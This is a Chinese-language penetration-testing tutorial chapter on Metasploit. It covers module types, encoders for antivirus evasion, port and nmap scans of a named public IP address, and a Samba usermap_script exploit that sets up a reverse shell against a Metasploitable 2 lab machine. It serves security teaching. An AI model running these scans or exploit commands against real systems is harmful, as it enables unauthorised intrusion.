第5章 Metasploit技术
- apt-get update:只更新软件包的索引源,作用是同步源的软件包的索引信息,从而进行软件更新。
- apt-get upgrade:升级系统上安装的所有软件包,若更新失败,所涉及的包会保持更新之前的状态。
- apt-get dist-upgrade:升级整个Linux系统。
5.2 Metasploit基础
5.2.1 专业术语
MSF框架由多个模块组成:
1. Auxiliaries(辅助模块)
不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以及辅助渗透测试。
2. Exploit(漏洞利用模块)
漏洞利用指测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序攻击、以及利用配置错误等其中包含测试者针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
3.Payload(攻击载荷模块)
攻击载荷是我们期望目标系统被渗透攻击之后完成实际功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行指定代码,在Metasploit框架中可以自由地选择、传送和植入。
4.Post(后期渗透模块)
主要用于在取得目标系统远程控制权后,进行的一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。
5.Encoders(编码工具模块)
该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS(Intrusion Detection Systems)及类似的安全软件检测出来。
5.2.2 渗透攻击步骤
- 扫描目标机系统,寻找可以利用漏洞
- 选择并配置一个漏洞利用模块
- 选择并配置一个攻击载荷模块
- 选择一个编码技术,用来绕过杀毒软件的查杀
- 渗透攻击
5.3 主机扫描
5.3.1 使用辅助模块进行端口扫描
先利用search命令查看有哪些可用模块:
search portscan
以TCP扫描模块举例:
use auxiliary/scanner/portscan/tcp
使用show options命令查看需要设置的参数:
- RHOST:设置待扫描的IP地址
- PORTS:设置扫描端口范围
- THREADS:设置扫描线程,线程数量越高,扫描速度越多
目标地址:http://43.247.91.228:81/login.php
使用set命令设置相关参数,unset取消某个参数的设置
可以看到目标机器(在1-1000内)开了22、80、81、82、84、85、83端口。
5.3.2 使用辅助模块进行服务扫描
先查看有哪些扫描模块:
search scanner
常用扫描模块及其功能:
5.3.3 使用Nmap扫描
熟练掌握Nmap的用法可以极大地提高个人渗透测试技术。
nmap -O -Pn 43.247.91.228
此处为大写的O,不是0.。。
发现目标主机操作系统有多种可能。
5.4 漏洞利用
每个操作系统都会存在各种Bug,全世界有大量的漏洞研究人员会夜以继日地发现、研究新的Bug,这些没有公布的Bug就是所谓的0day漏洞。
扫描自行搭建的Metasploit 2靶机:
收集到目标机相关信息后,为其选择正确的Exploit和合适的Payload。发现主机运行着Samba 3.X服务
Samba是在Linux和UNIX系统上实现SMB(Server Message Block,信息服务块)协议的一款免费软件。
查看Samba的漏洞利用模块,并选择合适的漏洞利用模块:
发现红色模块 被标记为“Excellent”,即最杰出且时间是最新的,为提高渗透成功率,选择此模块渗透。有关漏洞的信息可以通过info命令查看。
info exploit/multi/samba/usermap_script
使用该模块:
use exploit/multi/samba/usermap_script
使用show options 即可查看该漏洞利用模块下可以供选择的攻击模块。因为目标主机是LInux机器,因此一定要选择Linux的攻击载荷。
set PAYLOAD cmd/unix/reverse
设置被攻击主机IP地址,
set RHOSTS 192.168.1.180
设置漏洞利用的端口号,
set RPORT 445
设置发动攻击主机IP地址,
set LHOST 192.168.1.100
设置完所有参数变量后,输入攻击命令exploit或者run。
观察到成功的从目标主机上拿到了一个shell ,输入hostname 可以查看为metasploitable
MSF发动攻击成功后会获取目标主机的Shell,渗透Windows系统的过程类似,唯一的差别是选择的漏洞利用模块和攻击载荷模块不一样。建议尝试各种Exploit和Payload的组合,以加深理解。